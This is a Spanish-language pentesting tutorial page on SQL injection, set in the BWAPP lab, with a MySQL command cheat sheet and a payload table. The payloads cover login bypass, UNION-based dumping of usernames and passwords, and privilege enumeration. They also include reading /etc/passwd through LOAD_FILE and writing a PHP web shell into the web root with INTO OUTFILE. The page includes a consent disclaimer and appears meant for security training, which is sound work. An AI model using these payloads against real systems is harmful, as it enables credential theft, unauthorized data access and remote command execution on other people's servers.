💉SQL Injection
La inyección SQL es una técnica de ataque a sistemas de bases de datos que explota vulnerabilidades en las aplicaciones web que interactúan con ellas, permitiendo ejecutar comandos en la BBDD.
Última actualización
La inyección SQL es una técnica de ataque a sistemas de bases de datos que explota vulnerabilidades en las aplicaciones web que interactúan con ellas, permitiendo ejecutar comandos en la BBDD.
Última actualización
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a ganar acceso a distintos sistemas, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Vamos a aprender a cómo explotar un SQL Inyection, para conseguir por ejemplo credenciales de acceso a una base de datos. Vamos a seguir una serie de pasos en un entorno controlado BWAPP:
Introducir una comilla simple o paréntesis en un input y ver si da un error de backend o sintaxis SQL. Si nos devuelve un error esa web es vulnerable a SQL Inyection.
Cambiar el 1 por otros números hasta donde de un fallo. Al introducir ' order by 8-- -
observamos que nos da el error, por lo que esta BBDD tiene 7 columnas.
Vemos que no muestra nada en el 1 y empieza a mostrar información desde el 2 (punto de inyección), vamos a cambiar estos números 2, 3, 4, 5, 6 y 7 por distintos comandos, para hacer distintas cosas:
Si la BBDD tiene por ejemplo 4 debemos indicarlas de la siguiente manera:
cn' UNION select 1,2,3,4-- -
Podemos sustituir mysql
por cualquier nombre de la tabla
Encontramos una tabla user
que nos interesa, donde podría haber información sensible
Con esta técnica un atacante podría saltarse el introducir una contraseña y acceder a un servicio web, solamente introduciendo el siguiente comando en el login:
Es la herramienta por excelencia para la explotación de SQL inyection
Interceptar petición con BurpSuite -> seleccionar todo -> botón derecho -> copy to file a archivo.txt
La siguiente sección estará dedicada completamente a esta herramienta, donde la veremos en profundidad con ejemplos de uso:
💉SQLMapComandos
Descripción
General
mysql -u root -h docker.server.eu -P 3306 -p
Login en la base de datos mysql
SHOW DATABASES
Mostrar todas las bases de datos
USE users
Usar una base de datos
Tablas
CREATE TABLE logins (id INT, ...)
Añadir una nueva
SHOW TABLES
Mostrar todas las tablas
DESCRIBE logins
Mostrar las propiedades de una tabla
INSERT INTO table_name VALUES (value_1,..)
Añade valores a una tabla
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)
Agregar valores a columnas específicas en una tabla
UPDATE table_name SET column1=newvalue1, ... WHERE <condition>
Actualizar valores de la tabla
Columnas
SELECT * FROM table_name
Mostrar todas las columnas de una tabla
SELECT column1, column2 FROM table_name
Mostrar columnas específicas en una tabla
DROP TABLE logins
Borrar una tabla
ALTER TABLE logins ADD newColumn INT
Añadir nueva columna
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn
Renombrar columna
ALTER TABLE logins MODIFY oldColumn DATE
Cambiar tipo de datos de columna
ALTER TABLE logins DROP oldColumn
Borrar una columna
Output
SELECT * FROM logins ORDER BY column_1
Ordenar por columna
SELECT * FROM logins ORDER BY column_1 DESC
Ordenar por columna descendente
SELECT * FROM logins ORDER BY column_1 DESC, id ASC
Ordenar por dos columnas
SELECT * FROM logins LIMIT 2
Mostrar solo los dos primeros resultados
SELECT * FROM logins LIMIT 1, 2
Mostrar solo los dos primeros resultados a partir del índice 2
SELECT * FROM table_name WHERE <condition>
Enumerar resultados que cumplen una condición
SELECT * FROM logins WHERE username LIKE 'admin%'
Listar resultados donde el nombre es similar a una cadena determinada
División (/
), Multiplicación (*
), y Modulos (%
)
Adición (+
) and Sustracción (-
)
Comparación (=
, >
, <
, <=
, >=
, !=
, LIKE
)
NOT (!
)
AND (&&
)
OR (||
)
Payload
Descripción
Auth Bypass
admin' or '1'='1
Omisión de autenticación básica
admin')-- -
Omisión de autenticación básica con comentarios
Union Injection
' order by 1-- -
Detectar el número de columnas usando order by
cn' UNION select 1,2,3-- -
Detectar el número de columnas usando Union injection
cn' UNION select 1,@@version,3,4-- -
Union injection básico
UNION select username, 2, 3, 4 from passwords-- -
Union injection para 4 columnas
DB Enumeration
SELECT @@version
Fingerprint MySQL con query output
SELECT SLEEP(5)
Fingerprint MySQL sin output
cn' UNION select 1,database(),2,3-- -
Nombre de la base de datos actual
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Listar todas las bases de datos
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Enumerar todas las tablas en una base de datos específica
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Enumerar todas las columnas de una tabla específica
cn' UNION select 1, username, password, 4 from dev.credentials-- -
Volcar datos de una tabla en otra base de datos
Privileges
cn' UNION SELECT 1, user(), 3, 4-- -
Encontrar usuario actual
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Encuentra si el usuario tiene privilegios de administrador
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -
Busca todos los usuarios con privilegios
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
Encontrar a qué directorios se puede acceder a través de MySQL
File Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
Leer archivo local
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
Escribir una cadena en un archivo local
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
Escriba un shell web en el directorio web base
Con este plugin disponible para todos los navegadores tenemos a mano multitud de comandos para explotar SQL Injections.